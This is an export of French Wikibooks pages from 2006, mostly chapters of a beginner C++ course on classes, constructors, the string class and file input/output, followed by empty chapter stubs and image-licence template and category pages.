istream & operator>>(istream & in,Point &P) { cout<<"Tapez l'abscisse : ";in>>P.x; cout<<"Tapez l'ordonnée : ";in>>P.y; return in; } </pre> '''Explications : '''<br/> *Nos 2 fonctions renvoient respectivement in et out par un return afin de pouvoir enchaîner les opérations de saisie et d'affichage. *cout ne modifie pas notre Point : on passe donc une référence vers un Point constant. *Pour cin, il faut passer en paramètre une référence vers un Point. '''Le fichier main.cpp'''<br/> <pre> #include <iostream> using namespace std; #include"Point.h" int main() { Point A,B,C; double d; cout<<"SAISIE DU POINT A"<<endl; cin>>A; cout<<endl<<"SAISIE DU POINT B"<<endl; cin>>B; cout<<endl; C=A.milieu(B); d=A.distance(B); cout<<"MILIEU DE AB"<<endl<<C<<endl; cout<<"La distance AB vaut :"<<d<<endl; return 0; } </pre> '''Exécution : ''' <br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran :<br/> SAISIE DU POINT A<br/> Tapez l'abscisse : 3.2<br/> Tapez l'ordonnée : 1.4<br/> SAISIE DU POINT B<br/> Tapez l'abscisse : 5<br/> Tapez l'ordonnée : 6<br/> MILIEU DE AB<br/> L'abscisse vaut : 4.1<br/> L'ordonnée vaut : 3.7<br/> La distance AB vaut : 4.93964<br/> ===Constructeurs et initialisation des données membres=== *Par défaut, les données membres d'un objet ne sont pas initialisées. Il existe toutefois une constructeur par défaut qui se contente de créer ces données membres. Il est appelé dès qu'une instance de la classe est crée. '''Les données membres sont créées mais ne sont pas initialisées''' : elles sont à une valeur aléatoire correspondant à ce qu'il y avait en mémoire à ce moment là. *Il est vivement recommandé de définir constructeur par défaut pour une classe donnée qui initialisera les données membres : ainsi, il n'existera pas d'instance de la classe avec des données membres non initialisées. *On peut également définir d'autres constructeurs qui permettront d'initialiser les données membres d'un objet avec certaines valeurs. * Le programmeur sera alors certains que ces données sont dans un état cohérent. === Les destructeurs === *Le constructeur peut éventuellement allouer dynamiquement de la mémoire pour une classe complexe : il faut désallouer cette mémoire dès que l'objet n'existe plus. *Le destructeur est appelé automatiquement dès qu'un objet est détruit. Il peut avoir (entre autres) pour rôle de libérer par exmple la mémoire allouée au cours de l'utilisation de la classe. === Syntaxe des constructeurs et des destructeurs=== *Le constructeur par défaut de la classe A sera noté A() . Il ne peut rien renvoyer par un return. *On peut créer d'autres constructeur qui seront identifier par leurs paramètres : par exemple un constructeurde la classe A peut s'écrire A(int x, int y). *Le destructeur de la classe A sera noté ~A(). Il ne renvoie rien par un return et ne peut pas avoir de paramètres. *Il existe un destructeur par défaut qui se contente de détruire les données membres de l'objet. ===Exemple 5 : constructeurs et destructeurs=== '''Le fichier Point.h''' <pre> #ifndef POINT_H #define POINT_H #include<iostream> using namespace std; class Point { public: Point(); Point(double x, double y); void setX(double x); void setY(double y); double getX(); double getY(); double distance(const Point &P); Point milieu(const Point &P); void operator>>(ostream &out); void operator<<(istream &in); private: double x,y; }; #endif </pre> '''Explications :'''<br/> Par rapport à l'exemple précédent, nous avons rajouté 2 constructeurs : *Le constructeur par défaut Point(); *Un autre constructeur Point(double x, double y); *Le constructeur par défaut va initialiser l'abscisse et l'ordonnée de notre Point à 0. *Le constructeur par défaut va initialiser l'abscisse et l'ordonnée de notre Point respectivement à x et à y. '''Ficher Point.cpp'''<br/> Voici l'implémentation des 2 constructeurs : <pre> Point::Point() { x=0; y=0; } Point::Point(double x, double y) { this->x=x; this->y=y; } </pre> '''Explications :'''<br/> *Le constructeur par défaut initialise x et y à la valeur 0. *Pour le deuxième constructeur this->x désigne la données membre x de la classe et x désigne le paramètre du constructeur. *Idem pour this->y. '''Fichier main.cpp''' <pre> #include <iostream> using namespace std; #include"Point.h" int main() { Point A,B(3.4,5.6); cout<<"Coordonnee du point A :"<<endl; A>>cout; cout<<endl<<endl; cout<<"Coordonnee du point A :"<<endl; B>>cout; cout<<endl<<endl; return 0; } </pre> '''Explications : ''' *Lorsqu'on déclare un objet par Point A; c'est le constructeur par défaut de la classe Point qui est appelé : l'abscisse et l'ordonnée de A sont initialisées à 0. *Lorsqu'on déclare un objet par Point B(3.4,5.6); c'est le deuxième constructeur qui est appelé l'abscisse de B est initialisée à 3.4 et l'ordonnée à 5.6. '''Exécution :''' <br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran :<br/> COORDONNEES DU POINT A<br/> L'abscisse vaut : 0<br/> L'ordonnée vaut : 0<br/> COORDONNEES DU POINT B<br/> L'abscisse vaut : 3.4<br/> L'ordonnée vaut : 5.6<br/> ===Liste d'initialisation=== *Dans un constructeur, on peut intialiser des données dans la liste d'initialisation : il est d'ailleurs préférable de les initialiser à cet endroit. *Certaines données ne peuvent être initialisées qu'à cet endroit : les références par exemple. *Lorsqu'on étudiera l'héritage, nous reparlerons de cette liste d'initialisation. ===Exemple 6 : la liste d'initialisation=== Nous allons réécrire les constructeurs des fichiers Point.cpp de l'exemple 5. '''Fichier Point.cpp''' <pre> Point::Point() : x(0),y(0) { } Point::Point(double x, double y) : x(x),y(y) { } </pre> '''Explications :'''<br/> *Lors de l'écriture d'un constructeur, on peut initialiser une donnée membre à 0 en écrivant x(0). C'est ce qui est fait dans le constructeur par défaut Point() pour les données membres x et y. *Pour le constructeur Point(int x, int y), on initialise la donnée membre x en écrivant x(x) : le premier x désigne la donnée membre de la classe x, le deuxième x désigne le paramètre du constructeur. === Les opérateurs new et delete === *Si vous avez un pointeur p déclaré ainsi : A* p; Pour que p pointe vers une nouvelle instance de la classe A, vous pouvez utiliser ainsi l'opérateur new : p= new A(); *Lorsque vous avez créé avec new une nouvelle instance d'un objet, vous êtes tenu de détruire cet objet avant la fin de votre programme grâce à l'opérateur delete : delete p; === new et les constructeurs === *Si la classe A possède plusieurs constructeurs par exemple A(); et A(int,int); vous pouvez choisir le constructeur de votre choix : <pre> A *x,*y; x= new A(); // constructeur A(); y= new A(4,8); // constructeur A(int, int); </pre> *Bien évidemment il ne faudra pas oublier de détruire les instances de la classe A créées en utilisant delete : <pre> delete x; delete y; </pre> ==Exercices == ===EXERCICE 1 === Ecrire une classe Fraction dont le header est le suivant : <pre> #ifndef FRACTION_H #define FRACTION_H #include<iostream> using namespace std; class Fraction { friend ostream & operator<<(ostream & out, const Fraction &f); friend istream & operator>>(istream &in, Fraction &f); public: Fraction(); Fraction(int i); Fraction(int num,int den); Fraction operator+(const Fraction & f); Fraction operator-(const Fraction & f); Fraction operator*(const Fraction & f); Fraction operator/(const Fraction & f); private: int num,den; int pgcd(int x, int y); void normalise(); }; #endif </pre> Voici le rôle de chaque fonction : *Fraction(); : le constructeur par défaut initialise la fraction à 0. *Fraction(int); : initialise la fraction à l'entier i. *Fraction(int num, int den); : initialise le numérateur et le dénominateur de la fraction. *ostream & operator<<(ostream & out, const Fraction &f) : affiche à l'écran la fraction f. *istream & operator>>(istream &in, Fraction &f) : saisit au clavier la fraction f. *Fraction operator+(const Fraction & f); permet de faire la somme de 2 fractions. *Fraction operator-(const Fraction & f); permet de faire la différence de 2 fractions. *Fraction operator*(const Fraction & f); permet de faire la multiplications de 2 fractions. *Fraction operator/(const Fraction & f); permet de faire la division de 2 fractions. *int pgcd(int x, int y) : calcule le pgcd de 2 entiers. *void normalise() : normalise la fraction. Le dénominateur doit être positif et la fraction irréductible. Ecrire un programme principal qui saisit au clavier 2 fractions f1 et f2 et qui affiche E=(f1+3/4-f2)/(f1*f2-5/8)+4. Programmation C++ (débutant)/La classe string 6905 40937 2006-04-25T20:45:19Z 86.208.149.103 /* EXERCICE 1 */ {{C++ débutant}} == Le cours du chapitre 11 : La classe string== __TOC__ === Présentation de la classe string === *Il s'agit d'une classe standard qui permet de représenter une chaîne de caractères. *Pour l'utiliser, il faut écrire le header #include<string> *Cette classe encapsule des données pour pouvoir effectuer toutes les opérations de base sur les chaînes. *Ces opérations sont assez complexes notamment la gestion de la mémoire : l'encapsulation permet de masquer à l'utilisateur de la classe toutes les difficultés techniques. ===Différentes opérations sur la classe string === *'''Déclaration et initialisation : '''string s1; string s2= "BONJOUR"; *'''Saisie et affichage : ''' cout<<s2; cin>>s1; *'''Concaténation : ''' string s3=s2+s1; === Exemple 1 : la classe string=== '''Fichier main.cpp'''<br/> <pre> #include <iostream> using namespace std; #include<string> int main() { string s1,s2,s3; cout<<"Tapez une chaine : ";cin>>s1; cout<<"Tapez une chaine : ";cin>>s2; s3=s1+s2; cout<<"Voici la concatenation des 2 chaines :"<<endl; cout<<s3<<endl; return 0; } </pre> '''Explications :'''<br/> *Dans cet exemple, nous étudions l'utilisation de la classe string. *On peut saisir le contenu d'un chaîne en utilisant cin. *On peut concaténer 2 chaînes grâce à l'opérateur +. *On peut afficher une chaîne grâce à cout. *Dans cet exemple, on demande à l'utilisateur de saisir 2 chaînes de caractères s1 et s2 et on affiche s3 la concaténation de s1 et de s2. '''Exécution : ''' <br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran : <br/> Tapez une chaîne : '''AZERTY''' <br/> Tapez une chaîne : '''QSDFGH'''<br/> Voici la concaténation des deux chaînes :<br/> AZERTYQSDFGH ===Séparateurs=== *Par défaut, lorsqu'on saisit une chaîne de caractères en utilisant cin, le séparateur est l'espace : cela empêche de saisir une chaîne de caractères comportant un espace. *La fonction getline(istream &,string) permet de saisir une chaîne de caractères en utilisant le passage à la ligne comme séparateur : notre chaîne de caractères peut alors comporter des espaces. ===Exemple 2 : string avec des espaces=== <pre> #include <iostream> using namespace std; #include<string> int main() { string s1,s2,s3; cout<<"Tapez une chaine : ";getline(cin,s1); cout<<"Tapez une chaine : ";getline(cin,s2); s3=s1+s2; cout<<"Voici la concatenation des 2 chaines :"<<endl; cout<<s3<<endl;; return 0; } </pre> '''Explications :'''<br/> *Dans cet exemple, la chaîne de caractères s1 est saisie grâce à l'instruction getline(cin,s1) : cela permet de saisir au clavier la chaîne s1, la fin de la chaîne est alors indiquée lorsqu'on tape sur ENTREE. *On saisit ensuite la chaîne s2 et on affiche la concaténation des deux chaînes. '''Exécution : ''' <br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran :<br/> Tapez une chaîne : '''AZ ERTY'''<br/> Tapez une chaîne : '''QS DFGH'''<br/> Voici la concaténation des deux chaînes :<br/> AZ ERTYQS DFGH<br/> ===Analyse de chaînes === *'''Nombre de caractères d'une chaîne : '''size() est une méthode de la classe string qui renvoie le nombre de caractères utile. *'''Récupération du i-ième caractère : '''la méthode at(int i) permet de récupérer le i-ième caractère. ===Exemple 3 : analyse de chaînes=== <pre> #include <iostream> using namespace std; #include<string> int main() { string s="BONJOUR"; int i,taille; taille=s.size(); cout<<"La chaine comporte "<<taille<<" caracteres."<<endl; for(i=0;i<taille;i++)cout<<"caractere "<<i<<" = "<<s.at(i)<<endl; return 0; } </pre> '''Explications :'''<br/> *La méthode size() sur une string permet de connaître la taille d'une chaîne de caractères. *Si i est un entier s.at[i] permet de connaître le i-ième caractère de la chaîne. *Dans ce programme, on initialise la chaîne s à "BONJOUR" : on affiche ensuite la taille de la chaîne et on affiche ensuite un à un chaque caractère. '''Exécution : '''<br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran : <br/> La chaîne comporte 7 caractères<br/> caractère 0 = B<br/> caractère 1 = O<br/> caractère 2 = N<br/> caractère 3 = J<br/> caractère 4 = O<br/> caractère 5 = U<br/> caractère 6 = R<br/> ===Compatibilité avec les char * et les tableaux de char === *'''Transformation de chaîne de type C en string :''' on peut utiliser le constructeur string(char *) ou l'affectation grâce au symbole = d'un char * vers une string. *'''Transformation d'une string en chaîne de type C : ''' il suffit d'utiliser la méthode : c_str() qui renvoie un char * qui est une chaîne de type C. ===Exemple 4 : compatibilité avec les tableaux de char et les char *=== <pre> #include <iostream> using namespace std; #include<string> int main() { string s1,s2; char c1[]="BONJOUR"; const char * c2; s1=c1; cout<<s1<<endl; s2="AU REVOIR"; c2=s2.c_str(); cout<<c2<<endl; return 0; } </pre> '''Explications : '''<br/> *Dans cet exemple, c1 est un tableau de 8 char contenant la chaîne "BONJOUR" (n'oubliez pas le caractère de fin de chaîne '\0'). *Le pointeur c2 est un pointeur vers un tableau non modifiable de char. *Les variables s1 et s2 sont des string. *On peut affecter directement s1=c1 : le tableau de char sera transformé en string. Dans c2, on peut récupérer une chaîne « de type C » identique à notre string en écrivant c2=s2.c_str(). *On peut transformer aisément une string en tableau de char et inversement. '''Exécution : '''<br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran : <br/> BONJOUR<br/> AU REVOIR<br/> ===Transformation d'une chaîne en int ou double=== *Pour transformer une chaîne en double ou en int, il faut transformer la chaîne en flot de sortie caractères : il s'agit d'un istringstream. *Ensuite, nous pourrons lire ce flot de caractères en utilisant les opérateurs usuels >>. *La métode eof() sur un istringstream permet de savoir si la fin de la chaîne a été atteinte. *Chaque lecture sur ce flot grâce à l'opérateur >> renvoie un booléen qui nous indique d'éventuelles erreurs. ===Exemple 5 : transformation de string en int=== <pre> #include <iostream> #include <sstream> using namespace std; #include<string> int main() { string s; cout<<"Tapez une chaine : ";getline(cin,s); istringstream istr(s); int i; if(istr>>i)cout<<"VOUS AVEZ TAPE L'ENTIER "<<i<<endl; else cout<<"VALEUR INCORRECTE"<<endl; return 0; } </pre> '''Explications : '''<br/> *Dans cet exemple, s est une chaîne : on saisit une chaîne au clavier en utilisant getline(cin,s). *On crée ensuite un istringstream appelé istr et construit à partir de s. *On peut lire un entier i à partir de istr en utilisant : istr>>i . *(istr>>i) renvoie true si un entier valide a pu être lu et renvoie false sinon. *De la même manière, on pourrait lire des données d'autres types, double par exemple. '''Exécution 1 : '''<br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran : <br/> Tapez une chaîne : '''12345''' <br/> VOUS AVEZ TAPE L'ENTIER 12345 <br/> '''Exécution 2 : '''<br/> Lorsqu'on exécute ce programme, il s'affiche à l'écran : <br/> Tapez une chaîne : '''BJ9UYU'''<br/> VALEUR INCORRECTE <br/> ==EXERCICES == ===EXERCICE 1 === On veut écrire une classe Note qui est représentée par 3 données membres : 2 chaînes de caractères nom et prénom et un entier v qui est la valeur de la note. Grâce au constructeur par défaut la note est initialisée ainsi : le nom et le prénom sont à la chaîne vide et la valeur note vaut 0. <br/> Pour pouvoir accéder à la valeur du nom, prénom et de la note il y a un accesseur. Un unique mutateur permet de modifier le nom, le prénom et la valeur de la note mais il doit respecter les contraintes suivantes : <br/> Le nom et le prénom ne peuvent pas être la chaîne vide. <br/> La note est comprise entre 0 et 20 bornes incluses <br/> Le mutateur renvoie un booléen true si tout s'est bien passé false sinon.<br/> On peut afficher la note grâce à l'opérateur << et en saisir une grâce à l'opérateur >>. On écrira une classe menu qui gérer notre une note de la manière suivante :<br/> 1. Afficher la note<br/> 2. Modifier la note<br/> 0. Quitter<br/> Ecrire le programme principal qui crée notre note et qui appelle notre menu.<br/> Programmation C++ (débutant)/Listes usuelles 6906 36509 2006-03-08T06:14:28Z Merrheim 1032 {{C++ débutant}} == Le cours du chapitre 14 : Quelques listes usuelles== __TOC__ === Une liste d'employés=== Imaginez un programme qui doit gérer une liste d'employés : un employé sera défini par un nom, un prénom, et un salaire. On veut pouvoir ajouter/supprimer/visualiser un employé de notre liste d'employés et calculer le salaire moyen de nos employés. === Différentes implémentations=== Il existe de nombreuses possibilités pour créer notre liste d'employés. Nous verrons dans ce chapitre quelques possibilités : * une liste avec un tableau d'employés de taille fixe. * une liste avec un tableau d'employés de taille variable. * une liste avec un tableau de taille variable de pointeurs vers un employé. * une liste simplement chaînées d'employés. Programmation C++ (débutant)/Les templates 6907 31794 2006-02-06T15:20:33Z Merrheim 1032 {{C++ débutant}} == Le cours du chapitre 15 : Les templates== __TOC__ Programmation C++ (débutant)/La fichiers 6908 42372 2006-05-15T15:48:55Z 82.251.198.146 /* Les fichiers binaires */ {{C++ débutant}} == Le cours du chapitre 13 : Les fichiers== __TOC__ == Généralité sur les fichiers== *La règle générale pour créer un fichier est la suivante : ** il faut l'ouvrir en écriture. ** on écrit des données dans le fichier. ** on ferme le fichier. * Pour lire des données écrites dans un fichier : ** on l'ouvre en lecture. ** on lit les données en provenance du fichier. ** on ferme le fichier. == Fichiers textes ou binaires== Il existe 2 types de fichiers : * les fichiers textes qui sont des fichiers lisibles par un simple éditeur de texte. * les fichiers binaires dont les données correspondent en général à une copie bit à bit du contenu de la RAM. Il ne sont pas lisibles avec un éditeurs de texte. == cstdio ou iostream == Il existe principalement 2 bibliothèques standard pour écrire des fichiers : * cstdio qui provient en fait du langage C. * fstream qui est typiquement C++. Pour les amateurs de troll, n'hésitez pas à soutenir que cstdio est bien meilleur que fstream et vous pouvez entamer une discussion sans fin qui durera plusieurs mois. Succès garanti ! == Utilisation de cstdio== ===La fonction FILE * fopen(const char * filename,char * mode)=== Cette fonction permet d'ouvrir un fichier en lecture ou en écriture. filename est un tableau de char contenant le fichier à écriture. Le paramètre mode permettra de spécifier le mode d'ouverture : lectute ou écriture, texte ou binaire. ** mode vaut "wb" pour ouvrir en écriture un fichier binaire. Si le fichier n'existe pas, il est créé. ** mode vaut "wt" pour ouvrir en écriture un fichier texte. ** mode vaut "rb" pour ouvrir en lecture un fichier binaire. ** mode vaut "rt" pour ouvrir en lecture un fichier texte. La fonction fopen envoie le pointeur NULL s'il n'a pas été possible d'ouvrir le fichier. Si tout s'est bien passé, elle renvoie un pointeur vers une structure FILE. Ce pointeur servira à écrire ou lire dans le fichier, ainsi qu'à le fermer. === La fonction fclose(FILE *)=== cette fonction permet de fermer un fichier, qu'il soit ouvert en lecture ou en écriture. On passe en paramètre àcette fonction ne pointeur FILE * fourni par la fonction fopen(...). === Les fichiers binaires=== * '''La fonction fwrite(const void * buffer, int size,int nb, FILE * f) :'''<br/> Cette fonction écrit nb élements de size octets (soit nb*size octets) à partir du pointeur buffer (dans la RAM) vers le fichier f qui doit être ouvert en écriture. Il s'agit donc d'un transferts d'octets de la RAM dans un fichier. * '''La fonction fread(const void * buffer, int size,int nb, FILE * f) :'''<br/> Cette fonction lit nb élements de size octets (soit nb*size octets) à partir du fichier f (qui doit être ouvert en lecture) vers le pointeur buffer (dans la RAM). Il s'agit donc d'un transferts d'octets d'un fichier vers la RAM. * '''Exemple : écriture du fichier'''<br/> <pre> #include <iostream> #include<cstdio> using namespace std; int main() { FILE * f; int a=78; double b=9.87; char c='W'; int t1[6]; char t2[10]; int i; for(i=0;i<6;i++)t1[i]=10000+i; strcpy(t2,"AZERTYUIO"); cout<<t2<<endl; f=fopen("toto.xyz","wb"); if(f==NULL)cout<<"Impossible d'ouvrir le fichier en écriture !"<<endl; else { fwrite(&a,sizeof(int),1,f); fwrite(&b,sizeof(double),1,f); fwrite(&c,sizeof(char),1,f); fwrite(t1,sizeof(int),6,f); fwrite(t2,sizeof(char),10,f); fclose(f); } return 0; } </pre> Dans ce programme, on ouvre le fichier binaire nommé toto.xyz en écriture. Si on a réussi à ouvrir le fichier, on y écrit un entier, un double, un char, puis un tableau de 6 entiers et finalement un tableau de 10 char. <br/> On remarquera que pour écrire un entier il faut écrire &a pour obtenir un pointeur vers cet entier. Pour copier le tableau t1 on écrire juste t1 car t1 est déjà un pointeur vers le premier élément du tableau. * '''Exemple : lecture du fichier'''<br/> <pre> #include <iostream> #include<cstdio> using namespace std; int main() { FILE * f; int a; double b; char c; int t1[6]; char t2[10]; int i; f=fopen("toto.xyz","rb"); if(f==NULL)cout<<"Impossible d'ouvrir le fichier en lecture !"<<endl; else { fread(&a,sizeof(int),1,f); fread(&b,sizeof(double),1,f); fread(&c,sizeof(char),1,f); fread(t1,sizeof(int),6,f); fread(t2,sizeof(char),10,f); fclose(f); } cout<<"a="<<a<<endl; cout<<"b="<<b<<endl; cout<<"c="<<c<<endl; for(i=0;i<6;i++)cout<<t1[i]<<endl; cout<<t2<<endl; return 0; } </pre> Dans ce programme, on ouvre le fichier binaire nommé toto.xyz en écriture. Si on a réussi à ouvrir le fichier, on lit un entier, un double un car, puis un tableau de 6 entiers et finalement un tableau de 10 char. === Les fichiers textes=== * la fonction fprintf(FILE *f, const char * format,...) La fonction fprintf permet d'écrire en mode texte dans un fichier différentes données. On n'oubliera pas de laisser un espace entre les données pour pouvoir les relire (ou un passage à la ligne). <br/> Le paramètre format permet de spécifier la nature des données et des caractéristiques sur leur écriture dans le fichier (le nombre de caractères pare exemple. '''Exemples de formats : '''<br/> "%d" ==> indique un entier<br/> "%lf" ==> indique un double<br/> "%3.7lf" ==> indique un double avec 3 chiffres avant la virgule et 7 après.<br/> "%s" ==> indique une chaine de caractères sans expace. * la fonction fscanf(FILE * f, const char * format,...) La fonction scanf permet de lire les données à partir d'un fichier texte en utilisant le format de données indiqué ( qui est identique à printf). * '''Exemple : écriture du fichier'''<br/> <pre> #include <iostream> #include<cstdio> using namespace std; int main() { FILE * f; int a=78; double b=9.87; char c='W'; int t1[6]; char t2[10]; int i; for(i=0;i<6;i++)t1[i]=10000+i; strcpy(t2,"AZERTYUIO"); f=fopen("toto.txt","wt"); if(f==NULL)cout<<"Impossible d'ouvrir le fichier en écriture !"<<endl; else { fprintf(f,"%d %lf %c ",a,b,c); for(i=0;i<6;i++)fprintf(f,"%d ",t1[i]); fprintf(f,"%s ",t2); fclose(f); } return 0; }</pre> Dans ce programme, on ouvre le fichier texte nommé toto.txt en écriture. Si on a réussi à ouvrir le fichier, on y écrit un entier, un double, un char, puis un tableau de 6 entiers et finalement une chaîne de caractères sans espace contenu dans un tableau de char. * '''Exemple : lecture du fichier'''<br/> <pre> #include <cstdlib> #include <iostream> #include<cstdio> using namespace std; int main() { FILE * f; int a; double b; char c; int t1[6]; char t2[10]; int i; f=fopen("toto.txt","rt"); if(f==NULL)cout<<"Impossible d'ouvrir le fichier en lecture !"<<endl; else { fscanf(f,"%d %lf %c ",&a,&b,&c); for(i=0;i<6;i++)fscanf(f,"%d ",&t1[i]); fscanf(f,"%s ",t2); fclose(f); } cout<<"a="<<a<<endl; cout<<"b="<<b<<endl; cout<<"c="<<c<<endl; for(i=0;i<6;i++)cout<<t1[i]<<endl; cout<<t2<<endl; system("PAUSE"); return 0; } </pre> Dans ce programme, on ouvre le fichier binaire nommé toto.txt en lecture. Si on a réussi à ouvrir le fichier, on lit un entier, un double, un char, puis un tableau de 6 entiers et finalement une chaîne de caractères. == Utilisation de fstream== ===Les fichiers textes=== *'''La classe ofstream :'''<br/> Il s'agit d'un fichier ouvert en écriture : pour créer un tel fichier il suffit d'appeler le constructeur qui a en paramètre le nom du fichier : par exemple '''ofstream f("toto.txt");'''.<br/> Pour savoir si le fichier a bien été ouvert en écriture la méthode is_open() renvoie true si le fichier est effectivement ouvert. Pour écrire dans le fichier on utilise l'opérateur << sans oublier d'écrire des séparateurs dans le fichier texte. *'''La classe ifstream :'''<br/> Il s'agit d'un fichier ouvert en lecture : pour créer un tel fichier il suffit d'appeler le constructeur qui a en paramètre le nom du fichier : par exemple '''ifstream f("toto.txt");'''.<br/> Pour savoir si le fichier a bien été ouvert en lecture la méthode is_open() renvoie true si le fichier est effectivement ouvert. Pour écrire dans le fichier on utilise l'opérateur >>. *'''Exemple : ecriture d'un fichier texte''' <pre> #include <iostream> #include <fstream> using namespace std; int main() { int a=78; double b=9.87; char c='W'; int t1[6]; string s; int i; for(i=0;i<6;i++)t1[i]=10000+i; s="AZERTYUIO"; ofstream f("toto.txt"); if(!f.is_open())cout<<"Impossible d'ouvrir le fichier en écriture !"<<endl; else { f<<a<<" "<<" "<<b<<" "<<c<<endl; for(i=0;i<6;i++)f<<t1[i]<<" "; f<<s; } f.close(); return 0; } </pre> *'''Exemple : lecture d'un fichier texte''' <pre> #include <iostream> #include <fstream> using namespace std; int main() { int a; double b; char c; int t1[6]; string s; int i; ifstream f("toto.txt"); if(!f.is_open())cout<<"Impossible d'ouvrir le fichier en lecture !"<<endl; else { f>>a>>b>>c; for(i=0;i<6;i++)f>>t1[i]; f>>s; } f.close(); cout<<"a="<<a<<endl; cout<<"b="<<b<<endl; cout<<"c="<<c<<endl; for(i=0;i<6;i++)cout<<t1[i]<<endl; cout<<s<<endl; return 0; } </pre> ===Les fichiers binaires=== *'''La classe ofstream :'''<br/> Pour ouvrir en écriture un fichier binaire, il suffit d'appeler le constructeur qui a en paramètre le nom du fichier et le mode d'ouverture et fixer ce deuxième paramètre à ios::out | ios::binary: par exemple '''ofstream f("toto.xyz",ios::out | ios::binary);'''.<br/> Pour savoir si le fichier a bien été ouvert en écriture la méthode is_open() renvoie true si le fichier est effectivement ouvert. Pour écrire dans le fichier on utilise la méthode write((char *)buffer , int nb) pour écrire nb octets dans ce fichier. *'''La classe ifstream :'''<br/> Pour ouvrir en lecture un fichier binaire, il suffit d'appeler le constructeur qui a en paramètre le nom du fichier et le mode d'ouverture et fixer ce deuxième paramètre à ios::in | ios::binary: par exemple '''ifstream f("toto.xyz",ios::in | ios::binary);'''.<br/> Pour savoir si le fichier a bien été ouvert en écriture la méthode is_open() renvoie true si le fichier est effectivement ouvert. Pour lire dans le fichier on utilise la méthode read((char *)buffer , int nb) pour lire nb octets de ce fichier. *'''Ecriture d'un fichier binaire''' <pre> #include <iostream> #include <fstream> using namespace std; int main() { int a=78; double b=9.87; char c='W'; int t1[6]; int i; for(i=0;i<6;i++)t1[i]=10000+i; ofstream f("toto.xyz",ios::out | ios::binary); if(!f.is_open())cout<<"Impossible d'ouvrir le fichier en écriture !"<<endl; else { f.write((char *)&a,sizeof(int)); f.write((char *)&b,sizeof(double)); f.write((char *)&c,sizeof(char)); for(i=0;i<6;i++)f.write((char *)&t1[i],sizeof(int)); } f.close(); return 0; } </pre> *'''lecture d'un fichier binaire''' <pre> #include <iostream> #include<fstream> using namespace std; int main() { int a; double b; char c; int t1[6]; string s; int i; ifstream f("toto.xyz",ios::in | ios::binary); if(!f.is_open())cout<<"Impossible d'ouvrir le fichier en lecture !"<<endl; else { f.read((char *)&a,sizeof(int)); f.read((char *)&b,sizeof(double)); f.read((char *)&c,sizeof(char)); for(i=0;i<6;i++)f.read((char *)&t1[i],sizeof(int)); } f.close(); cout<<"a="<<a<<endl; cout<<"b="<<b<<endl; cout<<"c="<<c<<endl; for(i=0;i<6;i++)cout<<t1[i]<<endl; return 0; } </pre> Programmation C++ (débutant)/La STL 6909 31796 2006-02-06T15:24:32Z Merrheim 1032 {{C++ débutant}} == Le cours du chapitre 16 : La STL== __TOC__ Programmation C++ (débutant)/L'héritage 6910 44146 2006-06-08T08:33:42Z 82.127.217.114 {{C++ débutant}} == Le cours du chapitre 17 : L'héritage== __TOC__ Lhéritage c'est le fais qu'une classe donne ses attribus à un objet qui fais partit de la classe Programmation C++ (débutant)/La virtualité 6911 31798 2006-02-06T15:25:27Z Merrheim 1032 {{C++ débutant}} == Le cours du chapitre 18 : La virtualité== __TOC__ Modèle:Fair use 6915 31817 2006-02-06T23:38:31Z Greudin 1 <br clear="all" /> {| align="center" style="width:80%; background-color:#F1F1DE; border:2px solid #CCCC99; padding:5px;" |- |align="center"| [[Image:Red copyright.png|64px|Copyright]] | Cette image est soumise à des '''droits d'auteurs'''. Son utilisation est soutenue comme étant une '''utilisation juste (''[[w:Fair use|Fair use]]'')''' en vertu de la loi des États-Unis. Cependant la validité de cette utilisation peut être mise en doute, notamment par le fait qu'une telle loi n'existe pas dans de nombreux pays. Il est donc recommandé de ne pas l'utiliser avant que sa validité soit établie et de ne pas la réutiliser sans précaution. Si vous en avez la possibilité, merci de remplacer cette image par une équivalente ''libre''. <small>Si vous êtes titulaire des droits sur cette image et que vous souhaitez qu'elle soit retirée, [[{{ns:project}}:Le Bistro|contactez nous]].</small> |} [[catégorie:Image en fair use]] Catégorie:Licence image 6916 31820 2006-02-06T23:56:36Z Boly38 136 import inspiré de w: (sauf liens interlangue + adaptation liens) {{Commons|Category:Copyright statuses|Catégorie:Licence image}} Cette catégorie regroupe l'ensemble des images classées par [[w:Licence (juridique)|licence]]. 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Les images suivantes sont soumises à des droits d'auteur. {| align="center" style="width:80%; background-color:#F1F1DE; border:2px solid #CCCC99; padding:5px;" |- |align="center"| [[Image:Red copyright.png|64px|Copyright]] | Cette image est soumise à des droits d'auteurs. Son utilisation est soutenue comme étant une utilisation juste (''[[w:Fair use|Fair use]]'') en vertu de loi des États-Unis. La validité de cette utilisation est mise en doute, notamment par le fait qu'une telle loi n'existe pas dans de nombreux pays. Il est donc recommandé de ne pas l'utiliser avant que sa validité soit établie. <small>Si vous êtes titulaire des droits sur cette image et que vous souhaitez qu'elle soit retirée, [[Wikilivres:Le Bistro|contactez nous]].</small> |} Pour ajouter une image à cette catégorie, utilisez le modèle '''{{m|fair use}}'''. [[Catégorie:Image non libre]] Catégorie:Image à licence inconnue 6920 31826 2006-02-07T00:11:31Z Boly38 136 import depuis [[w:Catégorie:Image à licence inconnue]] (bah y'a du boulot !) Les images suivantes sont des images dont la licence est inconnue. Si une image vous intéresse, <u>'''ne l'utilisez pas tant que sa licence n'est pas éclaircie'''</u>. <br style="clear:both" /> {| align="center" style="width:80%; background-color:#f7f8ff; border:2px solid #8888aa; text-align:justify; padding:5px;" |- ||[[image:Panneau_attention_40.png]]|| La licence de cette image n'est pas définie ou pas claire. Si vous connaissez cette dernière, merci de la fournir ou de remplacer cette image par une compatible avec Wikilivres (voir [[Wikilivres:Règles d'utilisation des images|les règles d'utilisation des images]]). <u>Dans le cas contraire et si le statut de cette image devait ne pas être renseigné de façon compatible dans les meilleurs délais, cette image sera supprimée</u>. |} Pour ajouter une image à cette catégorie, utilisez le modèle '''{{m|licence inconnue}}'''. [[catégorie:licence image]] [[catégorie:image non libre]] Modèle:Licence inconnue 6921 31827 2006-02-07T00:13:14Z Boly38 136 Import partiel depuis [[w:Modèle:Licence inconnue]] (pareil il y a du boulot!) <div class="alerte" id="style2"> <div style="float:left;margin-left:0.7em;margin-right:0.7em;"> [[Image:Nuvola apps 